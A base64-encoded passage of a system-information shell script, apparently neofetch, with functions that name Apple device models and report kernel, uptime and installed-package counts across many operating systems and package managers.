IEFpciAyIiA7OwogICAgICAgICAgICAgICAgaVBhZDExLFszLTRdKTogICAgICAgImlQYWQgQWlyIDMiIDs7CiAgICAgICAgICAgICAgICBpUGFkMTMsWzEtMl0pOiAgICAgICAiaVBhZCBBaXIgNCI7OwogICAgICAgICAgICAgICAgaVBhZDYsWzctOF0pOiAgICAgICAgImlQYWQgUHJvICgxMi45IEluY2gpIiA7OwogICAgICAgICAgICAgICAgaVBhZDYsWzMtNF0pOiAgICAgICAgImlQYWQgUHJvICg5LjcgSW5jaCkiIDs7CiAgICAgICAgICAgICAgICBpUGFkNyxbMS0yXSk6ICAgICAgICAiaVBhZCBQcm8gMiAoMTIuOSBJbmNoKSIgOzsKICAgICAgICAgICAgICAgIGlQYWQ3LFszLTRdKTogICAgICAgICJpUGFkIFBybyAoMTAuNSBJbmNoKSIgOzsKICAgICAgICAgICAgICAgIGlQYWQ4LFsxLTRdKTogICAgICAgICJpUGFkIFBybyAoMTEgSW5jaCkiIDs7CiAgICAgICAgICAgICAgICBpUGFkOCxbNS04XSk6ICAgICAgICAiaVBhZCBQcm8gMyAoMTIuOSBJbmNoKSIgOzsKICAgICAgICAgICAgICAgIGlQYWQ4LDkgfCBpUGFkOCwxMCk6ICJpUGFkIFBybyA0ICgxMSBJbmNoKSIgOzsKICAgICAgICAgICAgICAgIGlQYWQ4LDFbMS0yXSk6ICAgICAgICJpUGFkIFBybyA0ICgxMi45IEluY2gpIiA7OwogICAgICAgICAgICAgICAgaVBhZDIsWzUtN10pOiAgICAgICAgImlQYWQgbWluaSIgOzsKICAgICAgICAgICAgICAgIGlQYWQ0LFs0LTZdKTogICAgICAgICJpUGFkIG1pbmkgMiIgOzsKICAgICAgICAgICAgICAgIGlQYWQ0LFs3LTldKTogICAgICAgICJpUGFkIG1pbmkgMyIgOzsKICAgICAgICAgICAgICAgIGlQYWQ1LFsxLTJdKTogICAgICAgICJpUGFkIG1pbmkgNCIgOzsKICAgICAgICAgICAgICAgIGlQYWQxMSxbMS0yXSk6ICAgICAgICJpUGFkIG1pbmkgNSIgOzsKCiAgICAgICAgICAgICAgICBpUGhvbmUxLDEpOiAgICAgImlQaG9uZSIgOzsKICAgICAgICAgICAgICAgIGlQaG9uZTEsMik6ICAgICAiaVBob25lIDNHIiA7OwogICAgICAgICAgICAgICAgaVBob25lMiwxKTogICAgICJpUGhvbmUgM0dTIiA7OwogICAgICAgICAgICAgICAgaVBob25lMyxbMS0zXSk6ICJpUGhvbmUgNCIgOzsKICAgICAgICAgICAgICAgIGlQaG9uZTQsMSk6ICAgICAiaVBob25lIDRTIiA7OwogICAgICAgICAgICAgICAgaVBob25lNSxbMS0yXSk6ICJpUGhvbmUgNSIgOzsKICAgICAgICAgICAgICAgIGlQaG9uZTUsWzMtNF0pOiAiaVBob25lIDVjIiA7OwogICAgICAgICAgICAgICAgaVBob25lNixbMS0yXSk6ICJpUGhvbmUgNXMiIDs7CiAgICAgICAgICAgICAgICBpUGhvbmU3LDIpOiAgICAgImlQaG9uZSA2IiA7OwogICAgICAgICAgICAgICAgaVBob25lNywxKTogICAgICJpUGhvbmUgNiBQbHVzIiA7OwogICAgICAgICAgICAgICAgaVBob25lOCwxKTogICAgICJpUGhvbmUgNnMiIDs7CiAgICAgICAgICAgICAgICBpUGhvbmU4LDIpOiAgICAgImlQaG9uZSA2cyBQbHVzIiA7OwogICAgICAgICAgICAgICAgaVBob25lOCw0KTogICAgICJpUGhvbmUgU0UiIDs7CiAgICAgICAgICAgICAgICBpUGhvbmU5LFsxM10pOiAgImlQaG9uZSA3IiA7OwogICAgICAgICAgICAgICAgaVBob25lOSxbMjRdKTogICJpUGhvbmUgNyBQbHVzIiA7OwogICAgICAgICAgICAgICAgaVBob25lMTAsWzE0XSk6ICJpUGhvbmUgOCIgOzsKICAgICAgICAgICAgICAgIGlQaG9uZTEwLFsyNV0pOiAiaVBob25lIDggUGx1cyIgOzsKICAgICAgICAgICAgICAgIGlQaG9uZTEwLFszNl0pOiAiaVBob25lIFgiIDs7CiAgICAgICAgICAgICAgICBpUGhvbmUxMSwyKTogICAgImlQaG9uZSBYUyIgOzsKICAgICAgICAgICAgICAgIGlQaG9uZTExLFs0Nl0pOiAiaVBob25lIFhTIE1heCIgOzsKICAgICAgICAgICAgICAgIGlQaG9uZTExLDgpOiAgICAiaVBob25lIFhSIiA7OwogICAgICAgICAgICAgICAgaVBob25lMTIsMSk6ICAgICJpUGhvbmUgMTEiIDs7CiAgICAgICAgICAgICAgICBpUGhvbmUxMiwzKTogICAgImlQaG9uZSAxMSBQcm8iIDs7CiAgICAgICAgICAgICAgICBpUGhvbmUxMiw1KTogICAgImlQaG9uZSAxMSBQcm8gTWF4IiA7OwogICAgICAgICAgICAgICAgaVBob25lMTIsOCk6ICAgICJpUGhvbmUgU0UgMjAyMCIgOzsKICAgICAgICAgICAgICAgIGlQaG9uZTEzLDEpOiAgICAiaVBob25lIDEyIE1pbmkiIDs7CiAgICAgICAgICAgICAgICBpUGhvbmUxMywyKTogICAgImlQaG9uZSAxMiIgOzsKICAgICAgICAgICAgICAgIGlQaG9uZTEzLDMpOiAgICAiaVBob25lIDEyIFBybyIgOzsKICAgICAgICAgICAgICAgIGlQaG9uZTEzLDQpOiAgICAiaVBob25lIDEyIFBybyBNYXgiIDs7CgogICAgICAgICAgICAgICAgaVBvZDEsMSk6ICJpUG9kIHRvdWNoIiA7OwogICAgICAgICAgICAgICAgaXBvZDIsMSk6ICJpUG9kIHRvdWNoIDJHIiA7OwogICAgICAgICAgICAgICAgaXBvZDMsMSk6ICJpUG9kIHRvdWNoIDNHIiA7OwogICAgICAgICAgICAgICAgaXBvZDQsMSk6ICJpUG9kIHRvdWNoIDRHIiA7OwogICAgICAgICAgICAgICAgaXBvZDUsMSk6ICJpUG9kIHRvdWNoIDVHIiA7OwogICAgICAgICAgICAgICAgaXBvZDcsMSk6ICJpUG9kIHRvdWNoIDZHIiA7OwogICAgICAgICAgICAgICAgaVBvZDksMSk6ICJpUG9kIHRvdWNoIDdHIiA7OwogICAgICAgICAgICBlc2FjCgogICAgICAgICAgICBtb2RlbD0kXwogICAgICAgIDs7CgogICAgICAgIEJTRHxNSU5JWCkKICAgICAgICAgICAgbW9kZWw9JChzeXNjdGwgLW4gaHcudmVuZG9yIGh3LnByb2R1Y3QpCiAgICAgICAgOzsKCiAgICAgICAgV2luZG93cykKICAgICAgICAgICAgbW9kZWw9JCh3bWljIGNvbXB1dGVyc3lzdGVtIGdldCBtYW51ZmFjdHVyZXIsbW9kZWwpCiAgICAgICAgICAgIG1vZGVsPSR7bW9kZWwvTWFudWZhY3R1cmVyfQogICAgICAgICAgICBtb2RlbD0ke21vZGVsL01vZGVsfQogICAgICAgIDs7CgogICAgICAgIFNvbGFyaXMpCiAgICAgICAgICAgIG1vZGVsPSQocHJ0Y29uZiAtYiB8IGF3ayAtRic6JyAnL2Jhbm5lci1uYW1lLyB7cHJpbnRmICQyfScpCiAgICAgICAgOzsKCiAgICAgICAgQUlYKQogICAgICAgICAgICBtb2RlbD0kKC91c3IvYmluL3VuYW1lIC1NKQogICAgICAgIDs7CgogICAgICAgIEZyZWVNaU5UKQogICAgICAgICAgICBtb2RlbD0kKHN5c2N0bCAtbiBody5tb2RlbCkKICAgICAgICAgICAgbW9kZWw9JHttb2RlbC8gKF9NQ0ggKil9CiAgICAgICAgOzsKICAgIGVzYWMKCiAgICAjIFJlbW92ZSBkdW1teSBPRU0gaW5mby4KICAgIG1vZGVsPSR7bW9kZWwvL1RvIGJlIGZpbGxlZCBieSBPLkUuTS59CiAgICBtb2RlbD0ke21vZGVsLy9UbyBCZSBGaWxsZWQqfQogICAgbW9kZWw9JHttb2RlbC8vT0VNKn0KICAgIG1vZGVsPSR7bW9kZWwvL05vdCBBcHBsaWNhYmxlfQogICAgbW9kZWw9JHttb2RlbC8vU3lzdGVtIFByb2R1Y3QgTmFtZX0KICAgIG1vZGVsPSR7bW9kZWwvL1N5c3RlbSBWZXJzaW9ufQogICAgbW9kZWw9JHttb2RlbC8vVW5kZWZpbmVkfQogICAgbW9kZWw9JHttb2RlbC8vRGVmYXVsdCBzdHJpbmd9CiAgICBtb2RlbD0ke21vZGVsLy9Ob3QgU3BlY2lmaWVkfQogICAgbW9kZWw9JHttb2RlbC8vVHlwZTFQcm9kdWN0Q29uZmlnSWR9CiAgICBtb2RlbD0ke21vZGVsLy9JTlZBTElEfQogICAgbW9kZWw9JHttb2RlbC8vQWxsIFNlcmllc30KICAgIG1vZGVsPSR7bW9kZWwvL++/vX0KCiAgICBjYXNlICRtb2RlbCBpbgogICAgICAgICJTdGFuZGFyZCBQQyIqKSBtb2RlbD0iS1ZNL1FFTVUgKCR7bW9kZWx9KSIgOzsKICAgICAgICBPcGVuQlNEKikgICAgICAgbW9kZWw9InZtbSAoJG1vZGVsKSIgOzsKICAgIGVzYWMKfQoKZ2V0X3RpdGxlKCkgewogICAgdXNlcj0ke1VTRVI6LSQoaWQgLXVuIHx8IHByaW50ZiAlcyAiJHtIT01FLypcL30iKX0KCiAgICBjYXNlICR0aXRsZV9mcWRuIGluCiAgICAgICAgb24pIGhvc3RuYW1lPSQoaG9zdG5hbWUgLWYpIDs7CiAgICAgICAgKikgIGhvc3RuYW1lPSR7SE9TVE5BTUU6LSQoaG9zdG5hbWUpfSA7OwogICAgZXNhYwoKICAgIHRpdGxlPSR7dGl0bGVfY29sb3J9JHtib2xkfSR7dXNlcn0ke2F0X2NvbG9yfUAke3RpdGxlX2NvbG9yfSR7Ym9sZH0ke2hvc3RuYW1lfQogICAgbGVuZ3RoPSQoKCR7I3VzZXJ9ICsgJHsjaG9zdG5hbWV9ICsgMSkpCn0KCmdldF9rZXJuZWwoKSB7CiAgICAjIFNpbmNlIHRoZXNlIE9TIGFyZSBpbnRlZ3JhdGVkIHN5c3RlbXMsIGl0J3MgYmV0dGVyIHRvIHNraXAgdGhpcyBmdW5jdGlvbiBhbHRvZ2V0aGVyCiAgICBbWyAkb3MgPX4gKEFJWHxJUklYKSBdXSAmJiByZXR1cm4KCiAgICAjIEhhaWt1IHVzZXMgJ3VuYW1lIC12JyBhbmQgbm90IC0gJ3VuYW1lIC1yJy4KICAgIFtbICRvcyA9PSBIYWlrdSBdXSAmJiB7CiAgICAgICAga2VybmVsPSQodW5hbWUgLXYpCiAgICAgICAgcmV0dXJuCiAgICB9CgogICAgIyBJbiBXaW5kb3dzICd1bmFtZScgbWF5IHJldHVybiB0aGUgaW5mbyBvZiBHTlVlbnYgdGh1cyB1c2Ugd21pYyBmb3IgT1Mga2VybmVsLgogICAgW1sgJG9zID09IFdpbmRvd3MgXV0gJiYgewogICAgICAgIGtlcm5lbD0kKHdtaWMgb3MgZ2V0IFZlcnNpb24pCiAgICAgICAga2VybmVsPSR7a2VybmVsL1ZlcnNpb259CiAgICAgICAgcmV0dXJuCiAgICB9CgogICAgY2FzZSAka2VybmVsX3Nob3J0aGFuZCBpbgogICAgICAgIG9uKSAga2VybmVsPSRrZXJuZWxfdmVyc2lvbiA7OwogICAgICAgIG9mZikga2VybmVsPSIka2VybmVsX25hbWUgJGtlcm5lbF92ZXJzaW9uIiA7OwogICAgZXNhYwoKICAgICMgSGlkZSBrZXJuZWwgaW5mbyBpZiBpdCdzIGlkZW50aWNhbCB0byB0aGUgZGlzdHJvIGluZm8uCiAgICBbWyAkb3MgPX4gKEJTRHxNSU5JWCkgJiYgJGRpc3RybyA9PSAqIiRrZXJuZWxfbmFtZSIqIF1dICYmCiAgICAgICAgY2FzZSAkZGlzdHJvX3Nob3J0aGFuZCBpbgogICAgICAgICAgICBvbnx0aW55KSBrZXJuZWw9JGtlcm5lbF92ZXJzaW9uIDs7CiAgICAgICAgICAgICopICAgICAgIHVuc2V0IGtlcm5lbCA7OwogICAgICAgIGVzYWMKfQoKZ2V0X3VwdGltZSgpIHsKICAgICMgR2V0IHVwdGltZSBpbiBzZWNvbmRzLgogICAgY2FzZSAkb3MgaW4KICAgICAgICBMaW51eHxXaW5kb3dzfE1JTklYKQogICAgICAgICAgICBpZiBbWyAtciAvcHJvYy91cHRpbWUgXV07IHRoZW4KICAgICAgICAgICAgICAgIHM9JCg8IC9wcm9jL3VwdGltZSkKICAgICAgICAgICAgICAgIHM9JHtzLy4qfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICBib290PSQoZGF0ZSAtZCIkKHVwdGltZSAtcykiICslcykKICAgICAgICAgICAgICAgIG5vdz0kKGRhdGUgKyVzKQogICAgICAgICAgICAgICAgcz0kKChub3cgLSBib290KSkKICAgICAgICAgICAgZmkKICAgICAgICA7OwoKICAgICAgICAiTWFjIE9TIFgifCJtYWNPUyJ8ImlQaG9uZSBPUyJ8QlNEfEZyZWVNaU5UKQogICAgICAgICAgICBib290PSQoc3lzY3RsIC1uIGtlcm4uYm9vdHRpbWUpCiAgICAgICAgICAgIGJvb3Q9JHtib290L1x7IHNlYyA9IH0KICAgICAgICAgICAgYm9vdD0ke2Jvb3QvLCp9CgogICAgICAgICAgICAjIEdldCBjdXJyZW50IGRhdGUgaW4gc2Vjb25kcy4KICAgICAgICAgICAgbm93PSQoZGF0ZSArJXMpCiAgICAgICAgICAgIHM9JCgobm93IC0gYm9vdCkpCiAgICAgICAgOzsKCiAgICAgICAgU29sYXJpcykKICAgICAgICAgICAgcz0kKGtzdGF0IC1wIHVuaXg6MDpzeXN0ZW1fbWlzYzpzbmFwdGltZSB8IGF3ayAne3ByaW50ICQyfScpCiAgICAgICAgICAgIHM9JHtzLy4qfQogICAgICAgIDs7CgogICAgICAgIEFJWHxJUklYKQogICAgICAgICAgICB0PSQoTENfQUxMPVBPU0lYIHBzIC1vIGV0aW1lPSAtcCAxKQoKICAgICAgICAgICAgW1sgJHQgPT0gKi0qICAgXV0gJiYgeyBkPSR7dCUlLSp9OyB0PSR7dCMqLX07IH0KICAgICAgICAgICAgW1sgJHQgPT0gKjoqOiogXV0gJiYgeyBoPSR7dCUlOip9OyB0PSR7dCMqOn07IH0KCiAgICAgICAgICAgIGg9JHtoIzB9CiAgICAgICAgICAgIHQ9JHt0IzB9CgogICAgICAgICAgICBzPSQoKCR7ZDotMH0qODY0MDAgKyAke2g6LTB9KjM2MDAgKyAke3QlJToqfSo2MCArICR7dCMqOn0pKQogICAgICAgIDs7CgogICAgICAgIEhhaWt1KQogICAgICAgICAgICBzPSQoKCQoc3lzdGVtX3RpbWUpIC8gMTAwMDAwMCkpCiAgICAgICAgOzsKICAgIGVzYWMKCiAgICBkPSIkKChzIC8gNjAgLyA2MCAvIDI0KSkgZGF5cyIKICAgIGg9IiQoKHMgLyA2MCAvIDYwICUgMjQpKSBob3VycyIKICAgIG09IiQoKHMgLyA2MCAlIDYwKSkgbWludXRlcyIKCiAgICAjIFJlbW92ZSBwbHVyYWwgaWYgPCAyLgogICAgKCgke2QvICp9ID09IDEpKSAmJiBkPSR7ZC9zfQogICAgKCgke2gvICp9ID09IDEpKSAmJiBoPSR7aC9zfQogICAgKCgke20vICp9ID09IDEpKSAmJiBtPSR7bS9zfQoKICAgICMgSGlkZSBlbXB0eSBmaWVsZHMuCiAgICAoKCR7ZC8gKn0gPT0gMCkpICYmIHVuc2V0IGQKICAgICgoJHtoLyAqfSA9PSAwKSkgJiYgdW5zZXQgaAogICAgKCgke20vICp9ID09IDApKSAmJiB1bnNldCBtCgogICAgdXB0aW1lPSR7ZDorJGQsIH0ke2g6KyRoLCB9JG0KICAgIHVwdGltZT0ke3VwdGltZSUnLCAnfQogICAgdXB0aW1lPSR7dXB0aW1lOi0kcyBzZWNvbmRzfQoKICAgICMgTWFrZSB0aGUgb3V0cHV0IG9mIHVwdGltZSBzbWFsbGVyLgogICAgY2FzZSAkdXB0aW1lX3Nob3J0aGFuZCBpbgogICAgICAgIG9uKQogICAgICAgICAgICB1cHRpbWU9JHt1cHRpbWUvIG1pbnV0ZXMvIG1pbnN9CiAgICAgICAgICAgIHVwdGltZT0ke3VwdGltZS8gbWludXRlLyBtaW59CiAgICAgICAgICAgIHVwdGltZT0ke3VwdGltZS8gc2Vjb25kcy8gc2Vjc30KICAgICAgICA7OwoKICAgICAgICB0aW55KQogICAgICAgICAgICB1cHRpbWU9JHt1cHRpbWUvIGRheXMvZH0KICAgICAgICAgICAgdXB0aW1lPSR7dXB0aW1lLyBkYXkvZH0KICAgICAgICAgICAgdXB0aW1lPSR7dXB0aW1lLyBob3Vycy9ofQogICAgICAgICAgICB1cHRpbWU9JHt1cHRpbWUvIGhvdXIvaH0KICAgICAgICAgICAgdXB0aW1lPSR7dXB0aW1lLyBtaW51dGVzL219CiAgICAgICAgICAgIHVwdGltZT0ke3VwdGltZS8gbWludXRlL219CiAgICAgICAgICAgIHVwdGltZT0ke3VwdGltZS8gc2Vjb25kcy9zfQogICAgICAgICAgICB1cHRpbWU9JHt1cHRpbWUvLyx9CiAgICAgICAgOzsKICAgIGVzYWMKfQoKZ2V0X3BhY2thZ2VzKCkgewogICAgIyB0byBhZGp1c3QgdGhlIG51bWJlciBvZiBwa2dzIHBlciBwa2cgbWFuYWdlcgogICAgcGtnc19oPTAKCiAgICAjIGhhczogQ2hlY2sgaWYgcGFja2FnZSBtYW5hZ2VyIGluc3RhbGxlZC4KICAgICMgZGlyOiBDb3VudCBmaWxlcyBvciBkaXJzIGluIGEgZ2xvYi4KICAgICMgcGFjOiBJZiBwYWNrYWdlcyA+IDAsIGxvZyBwYWNrYWdlIG1hbmFnZXIgbmFtZS4KICAgICMgdG90OiBDb3VudCBsaW5lcyBpbiBjb21tYW5kIG91dHB1dC4KICAgIGhhcygpIHsgdHlwZSAtcCAiJDEiID4vZGV2L251bGwgJiYgbWFuYWdlcj0kMTsgfQogICAgIyBnbG9iYmluZyBpcyBpbnRlbnRpb25hbCBoZXJlCiAgICAjIHNoZWxsY2hlY2sgZGlzYWJsZT1TQzIyMDYKICAgIGRpcigpIHsgcGtncz0oJEApOyAoKHBhY2thZ2VzKz0keyNwa2dzW0BdfSkpOyBwYWMgIiQoKCR7I3BrZ3NbQF19LXBrZ3NfaCkpIjsgfQogICAgcGFjKCkgeyAoKCQxID4gMCkpICYmIHsgbWFuYWdlcnMrPSgiJDEgKCR7bWFuYWdlcn0pIik7IG1hbmFnZXJfc3RyaW5nKz0iJHttYW5hZ2VyfSwgIjsgfTsgfQogICAgdG90KCkgewogICAgICAgIElGUz0kJ1xuJyByZWFkIC1kICIiIC1yYSBwa2dzIDw8PCAiJCgiJEAiKSI7CiAgICAgICAgKChwYWNrYWdlcys9JHsjcGtnc1tAXX0pKTsKICAgICAgICBwYWMgIiQoKCR7I3BrZ3NbQF19LXBrZ3NfaCkpIjsKICAgIH0KCiAgICAjIFJlZGVmaW5lIHRvdCgpIGFuZCBkaXIoKSBmb3IgQmVkcm9jayBMaW51eC4KICAgIFtbIC1mIC9iZWRyb2NrL2V0Yy9iZWRyb2NrLXJlbGVhc2UgJiYgJFBBVEggPT0gKi9iZWRyb2NrL2Nyb3NzLyogXV0gJiYgewogICAgICAgIGJyX3N0cmF0YT0kKGJybCBsaXN0KQogICAgICAgIHRvdCgpIHsKICAgICAgICAgICAgSUZTPSQnXG4nIHJlYWQgLWQgIiIgLXJhIHBrZ3MgPDw8ICIkKGZvciBzIGluICR7YnJfc3RyYXRhfTsgZG8gc3RyYXQgLXIgIiRzIiAiJEAiOyBkb25lKSIKICAgICAgICAgICAgKChwYWNrYWdlcys9IiR7I3BrZ3NbQF19IikpCiAgICAgICAgICAgIHBhYyAiJCgoJHsjcGtnc1tAXX0tcGtnc19oKSkiOwogICAgICAgIH0KICAgICAgICBkaXIoKSB7CiAgICAgICAgICAgIGxvY2FsIHBrZ3M9KCkKICAgICAgICAgICAgIyBnbG9iYmluZyBpcyBpbnRlbnRpb25hbCBoZXJlCiAgICAgICAgICAgICMgc2hlbGxjaGVjayBkaXNhYmxlPVNDMjIwNgogICAgICAgICAgICBmb3IgcyBpbiAke2JyX3N0cmF0YX07IGRvIHBrZ3MrPSgvYmVkcm9jay9zdHJhdGEvJHMvJEApOyBkb25lCiAgICAgICAgICAgICgocGFja2FnZXMrPSR7I3BrZ3NbQF19KSkKICAgICAgICAgICAgcGFjICIkKCgkeyNwa2dzW0BdfS1wa2dzX2gpKSIKICAgICAgICB9CiAgICB9CgogICAgY2FzZSAkb3MgaW4KICAgICAgICBMaW51eHxCU0R8ImlQaG9uZSBPUyJ8U29sYXJpcykKICAgICAgICAgICAgIyBQYWNrYWdlIE1hbmFnZXIgUHJvZ3JhbXMuCiAgICAgICAgICAgIGhhcyBraXNzICAgICAgICYmIHRvdCBraXNzIGwKICAgICAgICAgICAgaGFzIGNwdC1saXN0ICAgJiYgdG90IGNwdC1saXN0CiAgICAgICAgICAgIGhhcyBwYWNtYW4ta2V5ICYmIHRvdCBwYWNtYW4gLVFxIC0tY29sb3IgbmV2ZXIKICAgICAgICAgICAgaGFzIGRwa2cgICAgICAgJiYgdG90IGRwa2ctcXVlcnkgLWYgJy5cbicgLVcKICAgICAgICAgICAgaGFzIHhicHMtcXVlcnkgJiYgdG90IHhicHMtcXVlcnkgLWwKICAgICAgICAgICAgaGFzIGFwayAgICAgICAgJiYgdG90IGFwayBpbmZvCiAgICAgICAgICAgIGhhcyBvcGtnICAgICAgICYmIHRvdCBvcGtnIGxpc3QtaW5zdGFsbGVkCiAgICAgICAgICAgIGhhcyBwYWNtYW4tZzIgICYmIHRvdCBwYWNtYW4tZzIgLVEKICAgICAgICAgICAgaGFzIGx2dSAgICAgICAgJiYgdG90IGx2dSBpbnN0YWxsZWQKICAgICAgICAgICAgaGFzIHRjZS1zdGF0dXMgJiYgdG90IHRjZS1zdGF0dXMgLWkKICAgICAgICAgICAgaGFzIHBrZ19pbmZvICAgJiYgdG90IHBrZ19pbmZvCiAgICAgICAgICAgIGhhcyBwa2dpbiAgICAgICYmIHRvdCBwa2dpbiBsaXN0CiAgICAgICAgICAgIGhhcyB0YXpwa2cgICAgICYmIHBrZ3NfaD02IHRvdCB0YXpwa2cgbGlzdCAmJiAoKHBhY2thZ2VzLT02KSkKICAgICAgICAgICAgaGFzIHNvcmNlcnkgICAgJiYgdG90IGdhemUgaW5zdGFsbGVkCiAgICAgICAgICAgIGhhcyBhbHBzICAgICAgICYmIHRvdCBhbHBzIHNob3dpbnN0YWxsZWQKICAgICAgICAgICAgaGFzIGJ1dGNoICAgICAgJiYgdG90IGJ1dGNoIGxpc3QKICAgICAgICAgICAgaGFzIHN3dXBkICAgICAgJiYgdG90IHN3dXBkIGJ1bmRsZS1saXN0IC0tcXVpZXQKICAgICAgICAgICAgaGFzIHBpc2kgICAgICAgJiYgdG90IHBpc2kgbGkKICAgICAgICAgICAgaGFzIHBhY3N0YWxsICAgJiYgdG90IHBhY3N0YWxsIC1MCgogICAgICAgICAgICAjIFVzaW5nIHRoZSBkbmYgcGFja2FnZSBjYWNoZSBpcyBtdWNoIGZhc3RlciB0aGFuIHJwbS4KICAgICAgICAgICAgaWYgaGFzIGRuZiAmJiB0eXBlIC1wIHNxbGl0ZTMgPi9kZXYvbnVsbCAmJiBbWyAtZiAvdmFyL2NhY2hlL2RuZi9wYWNrYWdlcy5kYiBdXTsgdGhlbgogICAgICAgICAgICAgICAgcGFjICIkKHNxbGl0ZTMgL3Zhci9jYWNoZS9kbmYvcGFja2FnZXMuZGIgIlNFTEVDVCBjb3VudChwa2cpIEZST00gaW5zdGFsbGVkIikiCiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGhhcyBycG0gJiYgdG90IHJwbSAtcWEKICAgICAgICAgICAgZmkKCiAgICAgICAgICAgICMgJ21pbmUnIGNvbmZsaWN0cyB3aXRoIG1pbmVzd2VlcGVyIGdhbWVzLgogICAgICAgICAgICBbWyAtZiAvZXRjL1NERS1WRVJTSU9OIF1dICYmCiAgICAgICAgICAgICAgICBoYXMgbWluZSAmJiB0b3QgbWluZSAtcQoKICAgICAgICAgICAgIyBDb3VudGluZyBmaWxlcy9kaXJzLgogICAgICAgICAgICAjIFZhcmlhYmxlcyBuZWVkIHRvIGJlIHVucXVvdGVkIGhlcmUuIE9ubHkgQmVkcm9jayBMaW51eCBpcyBhZmZlY3RlZC4KICAgICAgICAgICAgIyAkYnJfcHJlZml4IGlzIGZpeGVkIGFuZCB3b24ndCBjaGFuZ2UgYmFzZWQgb24gdXNlciBpbnB1dCBzbyB0aGlzIGlzIHNhZmUgZWl0aGVyIHdheS4KICAgICAgICAgICAgIyBzaGVsbGNoZWNrIGRpc2FibGU9U0MyMDg2CiAgICAgICAgICAgIHsKICAgICAgICAgICAgc2hvcHQgLXMgbnVsbGdsb2IKICAgICAgICAgICAgaGFzIGJyZXcgICAgJiYgZGlyICIkKGJyZXcgLS1jZWxsYXIpLyogJChicmV3IC0tY2Fza3Jvb20pLyoiCiAgICAgICAgICAgIGhhcyBlbWVyZ2UgICYmIGRpciAiL3Zhci9kYi9wa2cvKi8qIgogICAgICAgICAgICBoYXMgQ29tcGlsZSAmJiBkaXIgIi9Qcm9ncmFtcy8qLyIKICAgICAgICAgICAgaGFzIGVvcGtnICAgJiYgZGlyICIvdmFyL2xpYi9lb3BrZy9wYWNrYWdlLyoiCiAgICAgICAgICAgIGhhcyBjcmV3ICAgICYmIGRpciAiJHtDUkVXX1BSRUZJWDotL3Vzci9sb2NhbH0vZXRjL2NyZXcvbWV0YS8qLmZpbGVsaXN0IgogICAgICAgICAgICBoYXMgcGtndG9vbCAmJiBkaXIgIi92YXIvbG9nL3BhY2thZ2VzLyoiCiAgICAgICAgICAgIGhhcyBzY3JhdGNoICYmIGRpciAiL3Zhci9saWIvc2NyYXRjaHBrZy9pbmRleC8qLy5wa2dpbmZvIgogICAgICAgICAgICBoYXMga2FnYW1pICAmJiBkaXIgIi92YXIvbGliL2thZ2FtaS9wa2dzLyoiCiAgICAgICAgICAgIGhhcyBjYXZlICAgICYmIGRpciAiL3Zhci9kYi9wYWx1ZGlzL3JlcG9zaXRvcmllcy9jcm9zcy1pbnN0YWxsZWQvKi9kYXRhLyovIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC92YXIvZGIvcGFsdWRpcy9yZXBvc2l0b3JpZXMvaW5zdGFsbGVkL2RhdGEvKi8iCiAgICAgICAgICAgIHNob3B0IC11IG51bGxnbG9iCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICMgT3RoZXIgKE5lZWRzIGNvbXBsZXggY29tbWFuZCkKICAgICAgICAgICAgaGFzIGtwbS1wa2cgJiYgKChwYWNrYWdlcys9JChrcG0gIC0tZ2V0LXNlbGVjdGlvbnMgfCBncmVwIC1jdiBkZWluc3RhbGwkKSkpCgogICAgICAgICAgICBoYXMgZ3VpeCAmJiB7CiAgICAgICAgICAgICAgICBtYW5hZ2VyPWd1aXgtc3lzdGVtICYmIHRvdCBndWl4IHBhY2thZ2UgLXAgIi9ydW4vY3VycmVudC1zeXN0ZW0vcHJvZmlsZSIgLUkKICAgICAgICAgICAgICAgIG1hbmFnZXI9Z3VpeC11c2VyICAgJiYgdG90IGd1aXggcGFja2FnZSAtSQogICAgICAgICAgICB9CgogICAgICAgICAgICBoYXMgbml4LXN0b3JlICYmIHsKICAgICAgICAgICAgICAgIG5peC11c2VyLXBrZ3MoKSB7CiAgICAgICAgICAgICAgICAgICAgbml4LXN0b3JlIC1xUiB+Ly5uaXgtcHJvZmlsZQogICAgICAgICAgICAgICAgICAgIG5peC1zdG9yZSAtcVIgL2V0Yy9wcm9maWxlcy9wZXItdXNlci8iJFVTRVIiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBtYW5hZ2VyPW5peC1zeXN0ZW0gICYmIHRvdCBuaXgtc3RvcmUgLXFSIC9ydW4vY3VycmVudC1zeXN0ZW0vc3cKICAgICAgICAgICAgICAgIG1hbmFnZXI9bml4LXVzZXIgICAgJiYgdG90IG5peC11c2VyLXBrZ3MKICAgICAgICAgICAgICAgIG1hbmFnZXI9bml4LWRlZmF1bHQgJiYgdG90IG5peC1zdG9yZSAtcVIgL25peC92YXIvbml4L3Byb2ZpbGVzL2RlZmF1bHQKICAgICAgICAgICAgfQoKICAgICAgICAgICAgIyBwa2dpbmZvIGlzIGFsc28gdGhlIG5hbWUgb2YgYSBweXRob24gcGFja2FnZSBtYW5hZ2VyIHdoaWNoIGlzIHBhaW5mdWxseSBzbG93LgogICAgICAgICAgICAjIFRPRE86IEZpeCB0aGlzIHNvbWVob3cuCiAgICAgICAgICAgIGhhcyBwa2dpbmZvICYmIHRvdCBwa2dpbmZvIC1pCgogICAgICAgICAgICBjYXNlICRvcy0ka2VybmVsX25hbWUgaW4KICAgICAgICAgICAgICAgIEJTRC1GcmVlQlNEfEJTRC1EcmFnb25GbHkpCiAgICAgICAgICAgICAgICAgICAgaGFzIHBrZyAmJiB0b3QgcGtnIGluZm8KICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgQlNELSopCiAgICAgICAgICAgICAgICAgICAgaGFzIHBrZyAmJiBkaXIgL3Zhci9kYi9wa2cvKgoKICAgICAgICAgICAgICAgICAgICAoKHBhY2thZ2VzID09IDApKSAmJgogICAgICAgICAgICAgICAgICAgICAgICBoYXMgcGtnICYmIHRvdCBwa2cgbGlzdAogICAgICAgICAgICAgICAgOzsKICAgICAgICAgICAgZXNhYwoKICAgICAgICAgICAgIyBMaXN0IHRoZXNlIGxhc3QgYXMgdGhleSBhY2NvbXBhbnkgcmVndWxhciBwYWNrYWdlIG1hbmFnZXJzLgogICAgICAgICAgICBoYXMgZmxhdHBhayAmJiB0b3QgZmxhdHBhayBsaXN0CiAgICAgICAgICAgIGhhcyBzcG0gICAgICYmIHRvdCBzcG0gb